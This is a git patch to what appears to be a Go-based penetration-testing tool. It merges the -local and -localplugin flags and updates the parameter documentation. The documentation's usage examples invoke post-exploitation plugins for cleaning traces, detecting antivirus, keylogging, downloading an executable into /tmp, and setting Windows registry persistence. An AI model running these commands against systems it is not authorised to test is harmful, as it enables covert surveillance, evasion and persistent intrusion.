From 285358772f80f354fe8cd4ddda27624de45b1a72 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Mon, 11 Aug 2025 20:55:50 +0800 Subject: [PATCH] =?UTF-8?q?refactor:=20=E7=AE=80=E5=8C=96=E6=9C=AC?= =?UTF-8?q?=E5=9C=B0=E6=8F=92=E4=BB=B6=E5=8F=82=E6=95=B0=E8=AE=BE=E8=AE=A1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 移除 -localplugin 参数,使用 -local 直接指定插件名称 - 简化用户体验:go run main.go -local cleaner - 保持相同的验证逻辑和错误提示 - 更新文档和帮助信息 - 减少参数数量:从71个减少到70个 使用示例: 新方式: go run main.go -local cleaner 旧方式: go run main.go -local -localplugin cleaner (已移除) --- Common/Flag.go | 22 +++++----------------- PARAMETERS.md | 15 +++++++-------- 2 files changed, 12 insertions(+), 25 deletions(-) diff --git a/Common/Flag.go b/Common/Flag.go index 88b8f1a..eae87a9 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -176,8 +176,7 @@ func Flag(Info *HostInfo) { // LiveTop 参数已移除,改为智能控制 flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping")) flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint")) - flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode")) - flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin")) + flag.StringVar(&LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)") flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only")) // ═════════════════════════════════════════════════ @@ -398,15 +397,10 @@ func checkParameterConflicts() { LogBase(i18n.GetText("param_conflict_ao_icmp_both")) } - // 检查本地模式和本地插件参数 - if LocalMode { - if LocalPlugin == "" { - fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n") - if len(LocalPluginsList) > 0 { - fmt.Printf("可用的本地插件: %s\n", strings.Join(LocalPluginsList, ", ")) - } - os.Exit(1) - } + // 检查本地插件参数 + if LocalPlugin != "" { + // 自动启用本地模式 + LocalMode = true // 验证本地插件名称 isValid := false @@ -425,10 +419,4 @@ func checkParameterConflicts() { os.Exit(1) } } - - // 如果指定了本地插件但未启用本地模式 - if !LocalMode && LocalPlugin != "" { - fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n") - os.Exit(1) - } } diff --git a/PARAMETERS.md b/PARAMETERS.md index 69180b1..c944f07 100644 --- a/PARAMETERS.md +++ b/PARAMETERS.md @@ -94,8 +94,7 @@ ### 本地模式 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| -| `-local` | 启用本地扫描模式 | - | `-local` | -| `-localplugin` | 指定本地插件 | - | `-localplugin cleaner` | +| `-local` | 指定本地插件名称 | - | `-local cleaner` | ### 可用本地插件 | 插件名 | 功能说明 | 平台支持 | @@ -195,19 +194,19 @@ go run main.go -h 192.168.1.1/24 -ao ### 本地插件使用 ```bash # 系统痕迹清理 -go run main.go -local -localplugin cleaner +go run main.go -local cleaner # 杀毒软件检测 -go run main.go -local -localplugin avdetect +go run main.go -local avdetect # 键盘记录 -go run main.go -local -localplugin keylogger -keylog-output my_keylog.txt +go run main.go -local keylogger -keylog-output my_keylog.txt # 文件下载 -go run main.go -local -localplugin downloader -download-url http://example.com/file.exe -download-path /tmp/ +go run main.go -local downloader -download-url http://example.com/file.exe -download-path /tmp/ # Windows注册表持久化 -go run main.go -local -localplugin winregistry -win-pe target.exe +go run main.go -local winregistry -win-pe target.exe ``` ### 高级扫描 @@ -227,6 +226,6 @@ go run main.go -h 192.168.1.1 -f json -o result.json --- -**总计参数数量**: 71个命令行参数 + 19个本地插件 +**总计参数数量**: 70个命令行参数 + 19个本地插件 **更新时间**: 2025-08-11 **版本**: v2.2.0 \ No newline at end of file